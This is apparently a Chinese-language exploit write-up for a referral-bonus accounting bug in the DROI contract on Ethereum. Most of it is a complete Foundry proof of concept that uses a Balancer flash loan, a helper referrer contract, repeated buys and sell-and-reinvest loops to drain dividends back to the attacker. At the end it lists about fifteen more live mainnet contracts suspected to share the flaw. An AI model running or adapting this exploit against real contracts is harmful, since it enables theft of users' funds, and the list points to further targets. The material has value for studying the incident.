stickyref多重返佣漏洞

受害合约:https://etherscan.io/address/0x4e9B6e88e6B83453e3ec6a1fFA0c95f289cF81d5
攻击tx: https://app.blocksec.com/explorer/tx/eth/0x50e6d97228bc517656d7695125c33251d3d453b6d13e384ff78af45e710a13b1

其实就是返佣那种出问题了。
卖出也有分红10
但是提现2
所以利用误差进行计算

打完了
改天写上去

先丢exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface IWETH {
function deposit() external payable;
function withdraw(uint amount) external;
function approve(address spender, uint amount) external returns (bool);
function balanceOf(address) external view returns (uint);
function transfer(address to, uint amount) external returns (bool);
}

interface IDROI {
function buy(address referredBy) external payable;
function sell(uint256 amountOfTokens) external;
function reinvest() external;
function exit() external;
function balanceOf(address customerAddress) external view returns (uint256);
function transfer(address to, uint256 amountOfTokens) external returns (bool);
}

interface IBalancerVault {
function flashLoan(
address recipient,
address[] calldata tokens,
uint256[] calldata amounts,
bytes calldata userData
) external;
}

contract HelperB {
mapping(address => bool) public _sendBack;
address public receiver;
address public droi;

constructor(address _receiver, address _droi) {
receiver = _receiver;
droi = _droi;
_sendBack[_receiver] = true;
}

// 与链上“未知选择器 0x20e42ac3”对齐:用 fallback 识别并触发 DROI.exit(),
// 重要:低级 call,失败不冒泡,避免整笔回滚
fallback() external payable {
if (msg.sig == bytes4(0x20e42ac3)) { // exit()
(bool ok, ) = address(droi).call(abi.encodeWithSignature("exit()"));
ok; // ignore
}
}

function sendBack() external {
require(_sendBack[msg.sender], "Not authorized");
(bool success, ) = receiver.call{value: address(this).balance}("");
require(success, "Send back failed");
}

receive() external payable {}
}

/* ========= 会被 etch 到 OWNER 上的实现(EIP-7702 模拟) ========= */
contract AttackerImpl {
address public OWNER;
address public WETH;
address public VAULT;
address public DROI;
HelperB public helper;

modifier onlyOwnerEOA() {
require(tx.origin == OWNER, "origin!=OWNER");
_;
}

function init(address _owner, address _weth, address _vault, address _droi) external {
if (OWNER == address(0)) {
OWNER = _owner;
WETH = _weth;
VAULT = _vault;
DROI = _droi;
}
}

function startExploit() external onlyOwnerEOA {
address[] memory tokens = new address[](1);
tokens[0] = WETH;

uint256[] memory amounts = new uint256[](1);
amounts[0] = 700 ether; //可以给自己模拟钱多一点就走自己的了,这个就不影响了

IBalancerVault(VAULT).flashLoan(
address(this), // recipient = OWNER 地址(现在有代码)
tokens,
amounts,
""
);
}

/* ====== Balancer 回调 ====== */
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory /* userData */
) external onlyOwnerEOA {
require(msg.sender == VAULT, "Not Vault");
require(tokens.length == 1 && tokens[0] == WETH, "Unexpected token");

IWETH weth = IWETH(WETH);
IDROI droi = IDROI(DROI);

// 1) WETH -> ETH
weth.withdraw(amounts[0]);

// 2) 部署 HelperB(receiver = OWNER,droi = DROI)
helper = new HelperB(OWNER, DROI);

// 3) buy 1 ETH(referrer = helper)
droi.buy{value: 1 ether}(address(helper)); //hello 有影响:"为攻击者合约绑定推荐人 helper,并产生最初的代币持仓"

// 4) 把已有的 DROI 转给 helper(若有)
uint256 bal = droi.balanceOf(address(this));
if (bal > 0) {
droi.transfer(address(helper), 50 ether); //hellox 有影响 这个50是合约里写了,一定要达到50才能有推荐奖励。这个不设计进去计算
}

// 5) 10 次,每次 5 ETH 的 buy
for (uint i = 0; i < 10; i++) {
droi.buy{value: 5 ether}(address(helper)); //hello 有影响: "重复多次买入操作,让推荐人(helper)不断获得推荐奖励(referral bonus),从而积累大量可提现的 ETH 分红"
}

// 6) 大额 buy(近似反编译值 610.73 ETH),保留还款缓冲
uint256 fee = (feeAmounts.length > 0) ? feeAmounts[0] : 0;
uint256 repay = amounts[0] + fee;
uint256 repayBuffer = repay + 0.0001 ether; //这4行闪电贷的 不用管
uint256 ethBal = address(this).balance;
droi.buy{value: 0x211b94d336ba510000}(address(helper));
//droi.buy{value: 610.73 ether}(address(helper)); //hello 有影响,和最后一笔大额buy有影响

// 7) 100 次:卖 10% + reinvest
for (uint i = 0; i < 100; i++) { //hello 有影响 和i的循环次数有影响
uint256 amt = droi.balanceOf(address(this));
if (amt == 0) break;
//uint256 tenPct = (amt * 10) / 100;
uint256 tenPct = amt / 10; //hello 有影响 和10有影响
if (tenPct == 0) break;
droi.sell(tenPct);
droi.reinvest();
}

// 8) 先在 OWNER 本体上 exit(对齐链上顺序)
droi.exit();

// 9) 按链上做法:对 helper 调“0x20e42ac3”,用低级 call,失败不回滚
address(helper).call(abi.encodeWithSelector(bytes4(0x20e42ac3)));

// 10) helper sendBack(把它持有的 ETH 回 OWNER)
helper.sendBack();

// 11) 归还闪电贷:把 ETH 变回 WETH,然后直接 transfer(NOT approve)
uint256 need = repay;
uint256 curEth = address(this).balance;
if (curEth > 0) {
uint256 toDeposit = curEth >= need ? need : curEth;
weth.deposit{value: toDeposit}();
}

uint256 wethBal = weth.balanceOf(address(this));
// 为了测试稳定,把 OWNER 预充值很多 ETH,确保即使策略亏损也能回笼足额
require(wethBal >= need, "insufficient WETH to repay");
require(IWETH(WETH).transfer(VAULT, need), "transfer back failed");
}

receive() external payable {}
}

interface IAttackerOnEOA {
function init(address _owner, address _weth, address _vault, address _droi) external;
function startExploit() external;
}


contract ExploitDROITest is Test {
address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; //提供闪电贷的
address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant DROI_ADDR = 0x4e9B6e88e6B83453e3ec6a1fFA0c95f289cF81d5; //受害者合约
//address constant DROI_ADDR = 0x4e9B6e88e6B83453e3ec6a1fFA0c95f289cF81d5; //hello 变量

// 反编译里硬编码的 owner(也是 7702 的“带码 EOA”)
//address constant OWNER = 0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496; //DailyRoi
address public OWNER;

function setUp() public {
vm.createSelectFork("",22_918_648);
OWNER = vm.addr(1300000);
// 满足合约里对 owner 余额的检查,并给足安全垫
//hello 有影响 这个直接固定一个很大的值,就不需要考虑闪电贷了
vm.deal(OWNER, 5 ether);
}
using stdJson for string;

function _eth(address a) internal view returns (uint256) {
return a.balance;
}

function _weth(address a) internal view returns (uint256) {
return IWETH(WETH_ADDR).balanceOf(a);
}

function _total(address a) internal view returns (uint256) {
return _eth(a) + _weth(a); // 1 WETH 视为 1 ETH
}

function _safeToInt(uint256 x) internal pure returns (int256) { //修改
require(x <= uint256(type(int256).max), "value too large to convert to int256");
return int256(x);
}

function testExploit_UsingEIP7702Etch() public {
// 预留:记录起始资产
uint256 eth0 = _eth(OWNER);
uint256 weth0 = _weth(OWNER);
uint256 tot0 = _total(OWNER);

// 1) 部署实现并 etch 到 OWNER(EIP-7702 模拟)
AttackerImpl impl = new AttackerImpl();
bytes memory runtime = address(impl).code;
require(runtime.length > 0, "no runtime");
vm.etch(OWNER, runtime);


// 2) 以 OWNER 身份执行
vm.startPrank(OWNER, OWNER);
IAttackerOnEOA(OWNER).init(OWNER, WETH_ADDR, BALANCER_VAULT, DROI_ADDR);
IAttackerOnEOA(OWNER).startExploit();
vm.stopPrank();

// 结束:记录收尾资产
uint256 eth1 = _eth(OWNER);
uint256 weth1 = _weth(OWNER);
uint256 tot1 = _total(OWNER);

// 打印结果(Foundry 控制台)
// console.log("OWNER before ETH :", eth0);
// console.log("OWNER before WETH :", weth0);
// console.log("OWNER before TOT :", tot0);
// console.log("-----------------------------");
// console.log("OWNER after ETH :", eth1);
// console.log("OWNER after WETH :", weth1);
// console.log("OWNER after TOT :", tot1);
// console.log("-----------------------------");
// console.log(" ETH :", eth1 >= eth0 ? eth1-eth0 : 0);
// console.log(" WETH:", weth1 >= weth0 ? weth1-weth0 : 0);
//console.log(" TOT :", tot1 >= tot0 ? tot1-tot0 : 0);
//console.log("TOT:", tot1 - tot0);
//int256 ethDiff = _safeToInt(eth1) - _safeToInt(eth0);
//int256 wethDiff = _safeToInt(weth1) - _safeToInt(weth0);
int256 totDiff = _safeToInt(tot1) - _safeToInt(tot0);

//console.logInt(ethDiff);
//console.logInt(wethDiff);
console.logInt(totDiff);

// 也可以直接断言是否盈利(按需开启)
// assertGt(tot1, tot0, "No profit");
}

}

类似于合约(太多了),先丢部分:
一些可能是fomo3d的。
不过得一个一个看看逻辑才知道

https://etherscan.io/address/0xc28e860c9132d55a184f9af53fc85e90aa3a0153#code
https://etherscan.io/address/0x3cecaf4ea77b2a304ef53dddb7ab9d23a03add2d#internaltx
https://etherscan.io/address/0x0e7d77bf4c468b6b626b07be5aa1c8222eb08324#internaltx
https://etherscan.io/address/0x0e21902d93573c18fd0acbadac4a5464e9732f54
https://etherscan.io/address/0xbc1869a652f68260428b382fd06c96196d92d02d#code
https://etherscan.io/address/0xfd5f062dc35a29f71972341b310b526a743df206#code
https://etherscan.io/address/0x38e219ee67a5e1536c5a89fec2da0d69c254cac4
https://etherscan.io/address/0x6e5db36f85492b20153eb8165e19dea1387345df#code
https://etherscan.io/address/0xe4d9306c7c9a275ad286c1349c684e0f2626d0c7
https://etherscan.io/address/0x5965dd104226784cc6fd383ae36df6e6e39a95e4#code
https://etherscan.io/address/0xf143e222000693777eef47b99d5d17a5e3b5b5f8#internaltx
https://etherscan.io/address/0xca1cc76be1f5e5ee492859d8463653cb231991bc#code
https://etherscan.io/address/0x6571ec4474893799454da4900b225e82249dcc30#internaltx
https://etherscan.io/address/0x570581a21edb40d399b6d2f407a86506c4b7d663#code
https://etherscan.io/address/0x16faf6680d515c96d3400016bb32868e2a0e635f#internaltx